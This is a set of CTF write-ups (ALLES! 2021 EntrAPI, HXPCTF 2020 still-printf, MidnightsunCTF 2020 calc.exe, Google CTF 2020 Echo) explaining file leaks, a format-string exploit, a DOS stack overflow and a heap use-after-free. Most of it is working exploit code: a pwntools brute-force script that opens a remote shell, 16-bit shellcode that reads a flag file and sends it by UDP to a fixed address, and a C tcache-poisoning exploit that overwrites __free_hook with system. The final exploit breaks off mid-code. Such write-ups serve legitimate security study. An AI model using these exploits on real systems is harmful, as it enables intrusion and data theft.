• ALLES! CTF 2021 EntrAPI

    EntrAPI was a task of the ALLES! CTF 2021:

    A very simple stegano tool that estimates the entropy of sections of a file by counting unique bytes in a range. Here's a snippet of the Dockerfile to get you started:
    
    COPY main.js index.html flag /
    RUN deno cache main.js
    EXPOSE 1024
    CMD deno run -A main.js
    

    It provided an http based API taking a path to a file, a start position and an end position, and gave the number of different characters in the giving range as result.

    So e.g. with a flag in the format ALLES!{....} giving path /flag with start 0 and end 5 would result in 4, as the L is used twice.

    For ease of use a helper function has been defined first:

    url = "https://[...]/query"
    path = '/whatever/i/want'
    def getent(start, stop):
        data = {'path': path, 'start': start, 'end': stop}
        ent = requests.post(url, json=data).json()['range-entropy']
        return ent
    

    The length of the file can be acquired by setting end to start+1 and simply count up the start character until the result is 0.

    Using something like the code below allowed searching for positions where new characters (that have not been used before) are appearing:

    newchars = []
    lastent = 0
    for i in tqdm.tqdm(range(FILE_LEN)):
        ent = getent(0, i)
        if ent != lastent:
            lastent = ent
            newchars.append(i-1)
    print(newchars)
    

    Using that knowledge allows searching for repititions of those known characters (takes a while):

    flag = list([0] * FILE_LEN)
    mychars = list(range(1, len(newchars)+1))
    
    for nc, ncp in enumerate(newchars):
        dummyc = mychars[nc]
        flag[ncp] = dummyc
    
    # for every possible position in file
    for i in tqdm.tqdm(range(len(flag))):
        # if position is known to be a character that has not occured before or character is already known skip to next position
        if i in newchars or flag[i] != 0:
            continue
        # for each already known character
        for c in set([x for x in flag[:i] if x != 0]):
            # get index of last known position in file/flag
            lastidx = i-(flag[:i][::-1].index(c))-1
    
            # get number of different characters from known character to tested character
            A = getent(lastidx, i+1)
            # get number of different characters behind known character to tested character
            B = getent(lastidx+1, i+1)
    
            # if those numbers match the tested character is equal to the already known character
            # mark character in flag, print current state, go back to outer loop
            if A == B:
                flag[i] = c
                print(flag)
                break
    

    Trying this out on the flag just results in a weird mess that’s not really decodable, but thanks to the given snippet of the Dockerfile we know the main script is called main.js.

    We also know that it’s using deno.

    Reading a few deno examples they all start with something like import * from "https://deno.land/[...]/mod.ts";\n, import { [...] } from "https://deno.land/[...]/mod.ts";\n or import { [...], [...] } from "https://deno.land/[...]/mod.ts";\n (and some more very similar lines), so they probably all start with import followed by a space, followed by some character, and another space.

    The start of the acquired map looks something like this: [1, 2, 3, 4, 5, 6, 7, 8, 7, 9, 3, 3, 10,, which perfectly matches the import at the start, including the space.

    Applying a simple replacement on those characters easily reveals where the "https is since ttp is already visible. End of line can easily be found as well since the .ts" becomes obvious. From here on it’s basically just filling in all obvious replacements.

    Finally we get to some code that looks like this:

    router.get("/flag", async (ctx) => {
      const auth = ctx.request.headers.get('authorization') ?? '';
      const hasher = createHash("md5");
      hasher.update(auth);
      // NOTE: this is stupid and annoying. remove?
      // FIXME? crackstation.net knows this hash
      if (hasher.toString("hex") === "eX{40}55X{63}dX{64}bX{40}cX{64}a01fad1c3X{40}e45X{63}af4acX{64}5") {
        ctx.response.body = await Deno.readTextFile("flag");
      } else {
        ctx.response.status = 403;
        ctx.response.body = 'go away';
      }
    });
    

    The X{num} placeholders are bytes which have not yet been determined. They where obvisouly digits since it’s a hex string and a-f where already known. Some digits were already known e.g. from the 403 or the md5. A few more limitations could be done by looking up the version numbers of the import statements at the top of the file, which reduced digits to a few lesser possibilities.

    I then simply created all possible combinations of replacements, which resulted in ~360 hashes, and tried 20 at a time on crackstation.net. After a few tries I found e7552d9b7c9a01fad1c37e452af4ac95 = gibflag.

    The flag can now be optained using a simple curl https://[...]/flag -H 'Authorization: gibflag':

    ALLES!{is_it_encryption_if_there's_no_key?also_a_bit_too_lossy_for_high_entropy_secrets:MRPPASQHX3b0QrMWH0WF}

    The last few replacements can be made and the full main.js can be extracted:

    import { Application, Router } from "https://deno.land/x/oak@v6.5.0/mod.ts";
    import { bold, yellow } from "https://deno.land/std@0.87.0/fmt/colors.ts";
    import { createHash } from "https://deno.land/std@0.81.0/hash/mod.ts";
    
    const app = new Application();
    const router = new Router();
    
    router.get("/", async (ctx) => {
      ctx.response.body = await Deno.readTextFile("index.html");
    });
    
    router.get("/flag", async (ctx) => {
      const auth = ctx.request.headers.get('authorization') ?? '';
      const hasher = createHash("md5");
      hasher.update(auth);
      // NOTE: this is stupid and annoying. remove?
      // FIXME? crackstation.net knows this hash
      if (hasher.toString("hex") === "e7552d9b7c9a01fad1c37e452af4ac95") {
        ctx.response.body = await Deno.readTextFile("flag");
      } else {
        ctx.response.status = 403;
        ctx.response.body = 'go away';
      }
    });
    
    router.post("/query", async (ctx) => {
      if (!ctx.request.hasBody) {
        ctx.response.status = 400;
        return;
      }
      const body = ctx.request.body();
      if (body.type !== "json") {
        ctx.response.status = 400;
        ctx.response.body = "expected json body";
        return;
      }
      const { path, start, end } = await body.value;
      const text = await Deno.readTextFile(path);
      const charset = new Set(text.slice(start, end));
      ctx.response.type = "application/json";
      ctx.response.body = JSON.stringify({
        "range-entropy": charset.size,
      });
    });
    
    app.use(router.routes());
    app.use(router.allowedMethods());
    
    app.addEventListener("listen", ({ hostname, port }) => {
      console.log(
        bold("Start listening on ") + yellow(`${hostname}:${port}`),
      );
    });
    
    await app.listen({ hostname: "0.0.0.0", port: 1024 });
    

    Overall an interesting challenge, showing how little information is actually required to get the contents of a file with a few known plain-text elements.

  • HXPCTF 2020 - still-printf

    Challenge Description

    Desc m1

    We got the following files and Source is provided. YAY

    total 2020
    drwx------ 2 1337 1337    4096 Dec 23 12:11 .
    drwxr-xr-x 4 root root    4096 Dec 19 15:18 ..
    -rw------- 1 root root    2421 Dec 20 09:48 .gdb_history
    -rw-r--r-- 1 1337 1337    1410 Dec 19 05:46 Dockerfile
    -rwxr-xr-x 1 1337 1337  165632 Jan  1  1970 ld-2.28.so
    -rwxr-xr-x 1 1337 1337 1824496 Jan  1  1970 libc-2.28.so
    -rwxr-xr-x 1 1337 1337   12336 Dec 18 15:09 still-printf
    -rw-r--r-- 1 1337 1337     152 Dec 18 15:05 still-printf.c
    -rwxr-xr-x 1 1337 1337   34712 Jan  1  1970 ynetd
    
    #include <stdio.h>
    #include <stdlib.h>
    
    int main() {
            char buf[0x30];
            setbuf(stdout, NULL);
            fgets(buf, sizeof(buf), stdin);
            printf(buf);
            exit(0);
    }
    

    A simple format-string bug. But the program exits right after printf.

    m1

    Here’s the checksec output of the program.

        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    I dumped the stack and looked for stack pointer chains.

    m2 m3

    09:0048│   0x7ffe308bfc08 —▸ 0x7ffe308bfce8 —▸ 0x7ffe308c0894 ◂— '/root/hxpctf/still-printf/still-printf'
    $15 -> $41 was the closest one that just 'perfectly' fits into the length of 0x2f bytes.
    

    Solution

    My solution includes guessing ( ( stack_address&0xfff0 ) » 4 ) 12 bit value. The possibility is 1 / 4096.

    We need to make this into multiple tries to get the code execution. printf calls vfprintf internally. By overwriting the return address of printf we can make this into multiple shots. But the challenging part is the max len of input, which is 0x2f bytes, but turns out that it’s all we need to get code execution.

    I knew the behaviour of vfprintf from another ctf challenge 0ctf quals - echoserver. First i overwrote the pointer at 15th offset to point it to return address of printf (guessing LSB stack address). THen we can use 41$n/hhn/hn to change the return address of printf. But the way vfprintf works is, we can not do this, %writec%15$hn%writec%41$hn. When vfprintf encounters the first positional parameter $ it copies all needed argument to an internal buffer, now if we do %41$hn to change the return address, it will fetch the original value which was there instead of the changed value. The idea is the use “%c”*offset to reach the stack pointer and then we can do %hn to do the write so that the 41th offset points to the return address of printf. Then we can use %41$n/hn/hhn to change the return address. The max input was 0x2f bytes and my payload fit exact 0x2f bytes.

    Here’s the main payload

    magic_number = 0x1337
    payload = ('%c%p'+'%c'*8 +'%c%c%c' +f'%{ (magic_number + 1 ) - (0xd + 0x5 + 0x8 )}c'+'%hn'+f'%{ 0xdd - ( (magic_number+1)&0xff) }c'+'%41$hhn').ljust(0x2f)
    

    Note: I use %p once in the payload to leak the a stack address.

    If the bruteforce is sucessfull, later it’s just trivial, i made this into multiple shots and partial overwrite exit_got with one_gadget.

    Exploit

    #!/usr/bin/python3
    from pwn import *
    from past.builtins import xrange
    from time import sleep
    import random
    import subprocess
    
    # Addr
    libc_leak_offset = 0x2409b
    gadget1 = 0x448a3
    system = 0x449c0
    
    # Hack
    def Hack():
     global io
    
     exe = ELF('./still-printf')
     magic_number = 0x1337
     
     # Leak stack pointer And hope for good luck.
     payload = ('%c%p'+'%c'*8 +'%c%c%c' +f'%{ (magic_number + 1 ) - (0xd + 0x5 + 0x8 )}c'+'%hn'+f'%{ 0xdd - ( (magic_number+1)&0xff) }c'+'%41$hhn').ljust(0x2f)
     print(hex(len(payload)))
     io.send(payload)
    
     io.recvuntil('\xd0')
     stack_leak = int(io.recvn(14),0)
     print(hex(stack_leak))
    
     # Leak some addresses PIE - LIBC and overwrite return of printf again to get more shots. (stack leak used here)
     payload2 = f'%{0xdd}c%11$hhn%12$p%13$p'.ljust(0x28,'A').encode() + p64(stack_leak - 0x8)[0:7]
     io.send(payload2)
     io.recvuntil('\xd0')
     pie_base = int(io.recvn(14),0) - 0x1200
     libc_leak = int(io.recvn(14),0)
     libc_base = libc_leak - libc_leak_offset
     print(hex(libc_base))
     print(hex(pie_base))
    
     # Get pie_address (exit_got) on stack
     payload3 = f'%{0xdd}c%11$hhn%{ ((pie_base+exe.got["exit"] )&0xffff) - 0xdd}c%10$hn'.ljust(0x20,'A').encode() + p64(stack_leak + 0x30)+p64(stack_leak - 0x8)[0:7]
     print(hex(len(payload3)))
     io.send(payload3)
    
     # Partial overwrite it to one_gadget
     payload4 = f'%{0xdd}c%11$hhn%{ ( (libc_base+gadget1)&0xffff ) - 0xdd}c%12$hn'.ljust(0x28,'\0').encode() + p64(stack_leak - 0x8)[0:7]
     io.send(payload4)\
    
     payload5 = f'%{0xdd}c%11$hhn%{ ( ( ( (libc_base+gadget1)&0xffffffff)&0xffff0000 ) >> 16 ) - 0xdd}c%10$hn'.ljust(0x20,'A').encode() + p64(pie_base+exe.got['exit']+0x2)+p64(stack_leak - 0x8)[0:7]
     io.send(payload5)
     
     # setup Gadget constraints [rsp + 0x30] == NULL and exit.
     payload6 = f'%{ (pie_base + 0x1100 )&0xffff}c%10$hn'.ljust(0x20,'\0').encode()+p64(stack_leak-0x8) + p64(0)[0:7]
     print(hex(len(payload6)))
     io.send(payload6)
    
    for i in xrange(4096):
     try:
      #io = process('./still-printf')
      io = remote('168.119.161.224',9509)
      Hack()
      io.sendline('cat /flag*')
      data = io.recv()
      print(data)
      io.interactive()
     except:
      io.close()
      continue
    
  • MidnightsunCTF 2020 - calc.exe

    Challenge Description / Setup

    During some renovations, we found an ancient computer with this VM hidden behind a wall.
    We believe it is the earliest example of networked computation. (QEMU with PCNET network)
    

    Download

    So we got a DOS floppy image. The Image contained the following files:

       Date      Time    Attr         Size   Compressed  Name
    ------------------- ----- ------------ ------------  ------------------------
    1991-11-11 05:00:02 .RHS.        33430        33792  IO.SYS
    1991-11-11 05:00:02 .RHS.        37394        37888  MSDOS.SYS
    1991-11-11 05:00:02 ....A        47845        48128  COMMAND.COM
    2020-10-01 20:13:50 ....A        32769        33280  DHCP.EXE
    2020-10-01 20:13:50 ....A         6751         7168  PCNTPK.COM
    2020-10-01 20:13:50 ....A        55816        56320  calc.exe
    2020-10-01 20:13:50 ....A           37          512  flag.txt
    2020-10-01 20:13:50 ....A           77          512  AUTOEXEC.BAT
    2020-10-03 10:58:54 ....A          247          512  MTCP.CFG
    1999-11-17 17:32:02 ....A            0            0  BOOT500
    ------------------- ----- ------------ ------------  ------------------------
    2020-10-03 10:58:54             214366       218112  10 files
    
    

    Autoexec would start DHCP to run a DHCP server, then the challenge “calc.exe” is executed. It turns out that mTCP was used as a TCP stack. Calc.exe would then listen on UDP port 8888 for simple equations of the format number operand number and echo the result back (via network).

    First I spent some time getting QEMU and NAT working. I have no clue of networking and just followed Instructions at https://wiki.qemu.org/Documentation/Networking/NAT. Finally I ended up using the following combination:

    sudo qemu-system-i386 -drive file=floppy.img,if=floppy,format=raw -m 64 -boot a -netdev tap,id=mynet0 -device pcnet,netdev=mynet0 --nographic

    It probably would be way easier (and does not require root) to just forward UDP port 8888, but I did the setup before reversing, and before looking into the provided openvpn conf, where the ports would have been documented.

    Server:

    ...
    DHCP request sent, attempt 1: Offer received, Acknowledged
    
    Good news everyone!
    
    IPADDR = 192.168.53.76
    NETMASK = 255.255.255.0
    GATEWAY = 192.168.53.1
    NAMESERVER = 192.168.53.1
    LEASE_TIME = 3600 seconds
    
    Settings written to 'MTCP.CFG'
    Sending [1337 + 9774 = 11111]
    
    
    

    Client:

    user@KARCH ~ % nc -u 192.168.53.76 8888
    1337+9774
    1337 + 9774 = 11111
    

    Reversing / Bug Hunting

    I reversed the binary using Ghidra. By comparing characteristic strings in the binary and correlating them with exmaple source from the mTCP project, I could locate the mainloop at 1000:09c1. From there it was easy to locate the UDP packet handler at 1000:0afa.

    decompiled handler:

    void __fastcall_member udp_handler(byte *packet,char *header)
    
    {
      void *unaff_DI;
      void *unaff_SS;
      
      parsepkt((char *)(packet + 0x2a));
      dbg_print_sending((char *)0x2b5,(void *)0x1aa8,(void *)0xbfc);
      sendUDP((uint)(packet + 0x1a),(int)header,0x200,0xbd2,unaff_SS,1);
      Buffer_free(unaff_DI);
      return;
    }
    

    the bug is an obvious stackoverflow via strcpy in the parsepkt function, a long input would result in a hang:

    void __fastcall_member parsepkt(char *input)
    
    {
      char cVar1;
      char *buffer_ptr;
      undefined2 unaff_SS;
      char buffer [20];
      
      strcpy(buffer,input);
      buffer_ptr = buffer;
      while( true ) {
        cVar1 = *buffer_ptr;
        if (cVar1 == '\0') {
          return;
        }
        if ((((cVar1 == '+') || (cVar1 == '-')) || (cVar1 == '*')) || (cVar1 == '/')) break;
        buffer_ptr = buffer_ptr + 1;
      }
      *buffer_ptr = '\0';
      buffer_ptr = buffer_ptr + 1;
      atoi(buffer);
      atoi(buffer_ptr);
      FUN_1000_3a65(0xbfc);
      return;
    }
    

    Now the presented decompiled source looks quite nice, but for this I had to teach Ghidra some new 16bit calling conventions (like microsoft 16bit fastcall it seems). This worked surprisingly easy, some existing specifications can be modified in Ghidra/Processors/x86/data/languages/x86-16.cspec. I think I did’t quite get them right, but sufficiently well to understand what’s going on. It should be AX, BX, CX, DX, ES, stack..., return values in AX, DX.

    Debugging

    To debug, I attached radare (r2 -a x86 -b 16 -D gdb gdb://localhost:1234) / gdb (gdb -ex "target remote localhost:1234" -ex "set architecture i8086") to qemus gdb server (add -S -s options), and placed a breakpoint at b *0x1459b. I stumbled upon some strange behaviour. The breakpoint was hit, and stepping “worked”, but somehow the IP was completely off. It turns out this is because both debuggers don’t take care of code segments. I stumbled upon some GDB script at [https://ternet.fr/gdb_real_mode.html], which allowed at least for some more comfortable single stepping in gdb. In r2, i just manually calculated addresses e.g. by s cs * 16 + eip.

    Shellcode Execution

    Next I found some simple retf ropgadget which allowed me to set ip and cs, so that cs:ip points to the stack (under my control). Shellcode execution :)

    # bp di si cx bx ip (0x0a40 = retf) | ip cs | 4X fill | shellcode
    r.send(b'+' * 24 + struct.pack(
        '<12H',
        0x1111, 0x2222, 0x3333, 0x4444, 0x5555, 0x0a40,
        0x2710, 0x202e, 0x5858, 0x5858, 0x5858, 0x5858
    ) + shellcode)
    

    Shellcode

    Now it is “easy”. I used the 0x21 DOS intterrupt https://www.beck-ipc.com/api_files/scxxx/dosemu.htm to open the flag file, and read the flag into memory. Next I prepared the arguments to call the already existing int8_t Udp::sendUdp( IpAddr_t host, uint16_t srcPort, uint16_t dstPort, uint16_t payloadLen, uint8_t *data, uint8_t preAlloc) function, to echo back the flag via udp. I filled out all the important arguments with static data (static ip address, 1337 src / dst port), and let wireshark listen for the resulting UDP packet. Less work for me :)

    org 0
    bits 16
    
    ; open flag.txt
    xor ax, ax;
    push ax;
    push 0x7478;
    push 0x742e;
    push 0x6761;
    push 0x6c66;
    mov dx, sp;
    xor ax, ax;
    mov ah, 0x3d;
    int 0x21;
    
    ; read file
    mov cx, 0x111;
    mov bx, ax;
    mov dx, 0xbfc;
    mov ah, 0x3f;
    int 0x21;
    
    ; prepare 10.8.10.2
    mov al, 10; ; dst ip
    mov ah, 2;
    push ax;
    mov al, 10;
    mov ah, 8;
    push ax;
    mov bp, sp;
    
    xor ax, ax;  ; use buffer
    inc ax;
    push ax;
    
    push ds; ; buffer
    push 0xbd2;
    
    push 0x201; ; length
    
    ; jump
    push 0x13ab; ;cs
    push 0x0b3b; ;ip
    
    mov ax, bp;   ; ptr to 10.8.10.2
    mov dx, ds;
    mov cx, 1337; ; dst port
    mov bx, 1337; ; src port
    
    retf
    

    image

  • Google CTF Quals 2020 - Echo

    Challenge overwiew

    The challenge itself was an “echo service” written in C++, listening for connections on localhost. To interact with it on the remote end, it was necessary to upload a binary to the launcher service, which executed the received binary “in memory”. The echo service itself was running as root, therefore we need to pwn it to get the flag. The functionality of the service was simple:

    1. Receive and store data in a std::string until a newline char occurred
    2. Echo the data back

    Download

    The bug

    The echo service is relying heavily on select for multiplexing IO. The mainloop of the service can be seen below.

    int ret = select(max_fd + 1, &readset, &writeset, nullptr, nullptr);
    if (ret > 0) {
        if (FD_ISSET(listen_fd, &readset)) {
            handle_new_connections(listen_fd);
        }
    
        for (auto it = clients.begin(), end = clients.end(); it != end; ++it) {
            ClientCtx& client = *it;
            const int fd = client.fd;
    
            if (FD_ISSET(fd, &readset)) {
                if (!handle_read(client)) {
                    close(fd);
                    it = clients.erase(it);
                    continue;
                }
            } else if (FD_ISSET(fd, &writeset)) {
                if (!handle_write(client)) {
                    close(fd);
                    it = clients.erase(it);
                    continue;
                }
            }
        }
    } else if (ret < 0 && errno != EINTR) {
        err(1, "select");
    }
    

    The loop iterating through all clients is faulty. Inside the loop the client vector is being modified (by erasing clients), which invalidates all existing iterators of it and yields a new one. However, the end iterator is still being used afterwards to check if the iteration is done! This allows iterating “out of bounds” and will lead to a use-after-free condition. There is only one catch - timing needs to be correct. During one select call a connection must be closed and on another connection a read/write must occurr to work on the out of bound client elements.

    As I am not very familiar with C++ internals, and couldn’t trigger the bug on the first try, I tried it by writing a simple python “fuzzer”. It would randomly open connections / send something / close connections. Source for the echo service was provided, so I compiled it with ASAN using CXXFLAGS = -fsanitize=address -O1 -g -fno-omit-frame-pointer. After a few minutes I got a nice UAF write, with controllable size and data.

    =================================================================
    ==6435==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000090 at pc 0x5555555dd3eb bp 0x7fffffffd590 sp 0x7fffffffcd40
    WRITE of size 4 at 0x604000000090 thread T0
        #0 0x5555555dd3ea in __interceptor_memcpy.part.0 (/home/user/ctf/google/echo/echo_srv+0x893ea)
        #1 0x7ffff7edb9b0 in std::char_traits<char>::copy(char*, char const*, unsigned long) /build/gcc/src/gcc-build/x86_64-pc-linux-gnu/libstdc++-v3/include/bits/char_traits.h:395:49
        #2 0x7ffff7edb9b0 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_S_copy(char*, char const*, unsigned long) /build/gcc/src/gcc-build/x86_64-pc-linux-gnu/libstdc++-v3/include/bits/basic_string.h:351:21
        #3 0x7ffff7edb9b0 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_S_copy(char*, char const*, unsigned long) /build/gcc/src/gcc-build/x86_64-pc-linux-gnu/libstdc++-v3/include/bits/basic_string.h:346:7
        #4 0x7ffff7edb9b0 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_append(char const*, unsigned long) /build/gcc/src/gcc-build/x86_64-pc-linux-gnu/libstdc++-v3/include/bits/basic_string.tcc:367:19
        #5 0x55555564e6d6 in handle_read(ClientCtx&) /home/user/ctf/google/echo/echo_srv.cc:95:21
        #6 0x55555564f25a in main /home/user/ctf/google/echo/echo_srv.cc:170:16
        #7 0x7ffff7a66151 in __libc_start_main (/usr/lib/libc.so.6+0x28151)
        #8 0x55555557551d in _start (/home/user/ctf/google/echo/echo_srv+0x2151d)
    
    0x604000000090 is located 0 bytes inside of 33-byte region [0x604000000090,0x6040000000b1)
    freed by thread T0 here:
        #0 0x5555556183a9 in free (/home/user/ctf/google/echo/echo_srv+0xc43a9)
        #1 0x55555564f63d in ClientCtx::~ClientCtx() /home/user/ctf/google/echo/echo_srv.cc:26:8
        #2 0x5555556511cb in void __gnu_cxx::new_allocator<ClientCtx>::destroy<ClientCtx>(ClientCtx*) /usr/bin/../lib64/gcc/x86_64-pc-linux-gnu/10.2.0/../../../../include/c++/10.2.0/ext/new_allocator.h:156:10
        #3 0x5555556511b8 in void std::allocator_traits<std::allocator<ClientCtx> >::destroy<ClientCtx>(std::allocator<ClientCtx>&, ClientCtx*) /usr/bin/../lib64/gcc/x86_64-pc-linux-gnu/10.2.0/../../../../include/c++/10.2.0/bits/alloc_traits.h:531:8
        #4 0x555555651a40 in std::vector<ClientCtx, std::allocator<ClientCtx> >::_M_erase(__gnu_cxx::__normal_iterator<ClientCtx*, std::vector<ClientCtx, std::allocator<ClientCtx> > >) /usr/bin/../lib64/gcc/x86_64-pc-linux-gnu/10.2.0/../../../../include/c++/10.2.0/bits/vector.tcc:177:7
        #5 0x55555564feea in std::vector<ClientCtx, std::allocator<ClientCtx> >::erase(__gnu_cxx::__normal_iterator<ClientCtx const*, std::vector<ClientCtx, std::allocator<ClientCtx> > >) /usr/bin/../lib64/gcc/x86_64-pc-linux-gnu/10.2.0/../../../../include/c++/10.2.0/bits/stl_vector.h:1431:16
        #6 0x55555564f29d in main /home/user/ctf/google/echo/echo_srv.cc:172:26
        #7 0x7ffff7a66151 in __libc_start_main (/usr/lib/libc.so.6+0x28151)
    
    previously allocated by thread T0 here:
        #0 0x5555556186d9 in malloc (/home/user/ctf/google/echo/echo_srv+0xc46d9)
        #1 0x7ffff7e3f539 in operator new(unsigned long) /build/gcc/src/gcc/libstdc++-v3/libsupc++/new_op.cc:50:22
    
    SUMMARY: AddressSanitizer: heap-use-after-free (/home/user/ctf/google/echo/echo_srv+0x893ea) in __interceptor_memcpy.part.0
    

    At this point I minimized the “trigger sequence” of commands and ported it to C code (necessary later on because launcher service would expect an executable, also we get better timings). Somehow sched_yield did not work for me guaranteeing that the server processed all data, however sleeping for one millisecond with usleep would. I came up with the following UAF write reproducer, which would write into the freed c1 heap chunk:

    #define yield() usleep(1000)
    
    int conn() {
        //open connection on localhost:21337
    }
    
    int main() {
        int c1, c2;
        
        c1 = conn();
        yield();
        c2 = conn();
        write(c1, "AAAA...", 0x20);
        write(c2, "BBBB...", 0x20);
        yield();
        
        write(c2, "uafw", 4);
        close(c1);
        yield();
        
        return 0;
    }
    

    To be honest, I don’t know HOW this write can happen, it is somehow working on c2’s fd, but at the same time accesses c1’s reading buffer. I still might not fully understand C++ Vectors / Iterators internals. Will investigate this later, but during the CTF noone cares, as long as the exploitation primitive is stable, right? And as I could write into freed tcache chunks, I had a powerful primitive by corrupting tcache freelist pointers.

    This is basically an arbitrary write primitive I will make heavy use of (aka tcache poisoning), and one should be familiar with it. Tcache poisoning Example

    At least it was instant arbitrary write back then when the Google CTF took place, there was a new mitigation introduced recently (at least on my distro) to prevent this from happening that easily tcache/fastbin Safe-Linking.

    Leaking Addresses

    The echo service was compiled with ASLR enabled, so I first needed to get my hands on some addresses. At first I tried to construct a uaf read by filling up kernel buffers and timing read / close operations precisely. With no success, so another option was considered. The plan was the following:

    1. Create sufficient connections to work with
    2. Allocate a huge 0x10000 memory area by sending 0x10000 Bytes
    3. Fill up holes caused by string reallocations
    4. Create three small 0x30 sized allocations
    5. Free one small allocation to place its address into the tcache
    6. Trigger the bug, write one nullbyte (will partially overwrite a pointer of the next free tcache entry with two nullbytes)
    7. Allocate overwritten tcache entry (malloc will now (most likely) return an address pointing into the huge 0x10000 chunk)
    8. Free the entry again (because of some recently added tcache double free checks, the freed chunk will contain a tcache context pointer, aka. a pointer to the start of the heap)
    9. Write a newline to the huge memory area, which will trigger sending it back
    10. Read it in and search for the heap pointer

    The heap state after steps 1-6 is pictured below. The freed allocation of step 5 is marked in red. Above it, the orange chunk is a part of the 0x10000 memory region. The green chunk is the uaf chunk. After triggering the bug, the tcache pointer inside the uaf chunk, which previously pointed at the red chunk, is partially overwritten with nullbytes (as shown by the blue rectangle). Note the 0x55555555d010 address in every freed chunk, it points to the tcache context and therefore the beginning of the heap.

    image

    If everything worked as expected, after step 8 one can find the following in memory. The orange chunk is the 0x10000 region, red is the allocated / freed chunk. Now I just needed to echo this data back.

    image

    As the Heap was now derandomized, next up I wanted to leak some libc addresses. To achieve this I did the following:

    1. Trigger the bug again to create a 0x30 allocation overlapping with the header of a 0x810 allocation (already exists from previously filling up memory holes)
    2. Free the 0x810 allocation, the free operation will overwrite parts of the 0x30 chunk. As the freed chunk is huge, it will leak unsorted bin pointers (aka pointers to a static position inside libc)
    3. Writing a newline to the 0x30 chunk will return those leaks
    4. Read them in and calculate libc base

    The heap state after step 2 is shown below. The huge chunk (green) is freed, and doing so leaked addresses into the red 0x30 chunk, which is still under my control.

    image

    Getting RCE

    With the libc address and an arbitrary write primitive at hand, the challenge is now really easy to solve. I did the following:

    1. Trigger the bug one last time to fake a 0x30 chunk on libc.__free_hook
    2. Overwrite the free hook with libc.system
    3. Create a new connection and write some commands for system to execute into it
    4. Close the connection (will free the memory and therefore call system)
    5. Profit

    I just copied the flag from /root/flag into /tmp and made it world readable. My exploit also spawns a shell when it is finished, so I could just cat the flag.

    [+] Opening connection to echo.2020.ctfcompetition.com on port 1337: Done
    [*] sending
    [*] Switching to interactive mode
     
    heapbase located at: 0x55ea3a33b010
    leaked: 0 71 7f44b94dc0d0 7f44b94dc0d0
    libc located at: 0x7f44b92f0000
    $ cat /tmp/flag
    CTF{to0_m4ny_c0nn3ct1ons_Ar3_4_Problem_5ometime5}
    $ 
    

    Final exploit

    Python launch script

    from pwn import *
    
    r = remote('echo.2020.ctfcompetition.com', 1337)
    f = open('sploit', 'rb').read()
    r.sendafter('ELF:', p32(len(f)) + f)
    r.interactive()
    

    Exploit compiled with clang -D_GNU_SOURCE -static -O2 sploit.c -o sploit

    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    #include <string.h>
    #include <arpa/inet.h>
    
    #define OFFSET_HEAP 0x12f50
    #define OFFSET_LIBC 0x1ec0d0
    #define OFFSET_FREE_HOOK 0x1eeb28
    #define OFFSET_SYSTEM 0x55410
    
    #define yield() usleep(1000)
    
    int conn() {
        int sockfd;
        struct sockaddr_in servaddr;
    
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd == -1) {
            puts("socket creation failed...");
            exit(0);
        }
    
        bzero(&servaddr, sizeof(servaddr));
    
        servaddr.sin_family = AF_INET;
        servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
        servaddr.sin_port = htons(21337);
    
        if (connect(sockfd, (const struct sockaddr *) &servaddr, sizeof(servaddr)) != 0) {
            puts("connection with the server failed...");
            exit(0);
        }
    
        return sockfd;
    }
    
    void writeall(int fd, char *buf, size_t len) {
        size_t towrite = len;
        while (towrite) {
            ssize_t written = write(fd, buf, towrite);
            if (written <= 0) {
                puts("write failure");
                exit(0);
            }
            towrite -= written;
        }
    }
    
    void readall(int fd, char *buf, size_t len) {
        size_t toread = len;
        while (toread) {
            ssize_t readden = read(fd, buf, toread);
            if (readden <= 0) {
                puts("read failure");
                exit(0);
            }
            toread -= readden;
        }
    }
    
    int main() {
        unsigned i;
        int conns[16];
        char *chunk = malloc(0x10000);
    
        // open connections
        for (i = 0; i < 16; i++) {
            conns[i] = conn();
            yield();
        }
    
        // fake 0x10000 area, fill with 0x31 to bypass some tcache checks later on
        for (i = 1; i < 0x10000u / 8; i+=2) {
            ((size_t*)chunk)[i] = 0x31;
        }
        writeall(conns[0], chunk, 0x10000 - 1);
        yield();
    
        // fill up remaining chunks 1 to 9
        for (i = 1; i < 9; i++) {
            writeall(conns[i], chunk, 0x10000u >> i);
            yield();
        }
    
        // allocate 3 0x30 chunks, A chunk right behind the 0x10000 area
        write(conns[13], "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 0x20);
        yield();
        write(conns[14], "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB", 0x20);
        write(conns[15], "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC", 0x20);
        yield();
    
        // close A buffer, places pointer to it in tcache freelist head
        close(conns[13]);
        yield();
    
        // bug: free B, and auf write two nullbytes into free'd B memory.
        // partially overwrites tcaches next pointer pointing to A.
        write(conns[15], "\0", 1);
        close(conns[14]);
        yield();
    
        // allocate two 0x30 chunks, Y is likely to be placed inside the 0x10000 area
        conns[13] = conn();
        conns[14] = conn();
        write(conns[13], "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", 0x20);
        yield();
        write(conns[14], "YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY", 0x20);
        yield();
    
        // free Y chunk, writes heap base into 0x10000 area
        close(conns[14]);
        yield();
    
        // read the buffer back in by sending '\n'
        write(conns[0], "\n", 1);
        // skip the hello message, linus would insult me for writing this code
        do {
            read(conns[0], chunk, 1);
        } while(*chunk != '\n');
        readall(conns[0], chunk, 0x10000);
    
        // search for heap address
        size_t *leak = memmem(chunk, 0x10000, "YYYYYYYY", 8);
        if (!leak) {
            puts("heapbase not found :(");
            exit(0);
        }
        size_t heapbase = leak[-1];
        printf("heapbase located at: 0x%lx\n", heapbase);
    
        // shape tcache / heap so there is at least one free entry before the bug is triggered again
        close(conns[15]);
        close(conns[13]);
        yield();
        conns[13] = conn();
        yield();
        conns[14] = conn();
        yield();
        conns[15] = conn();
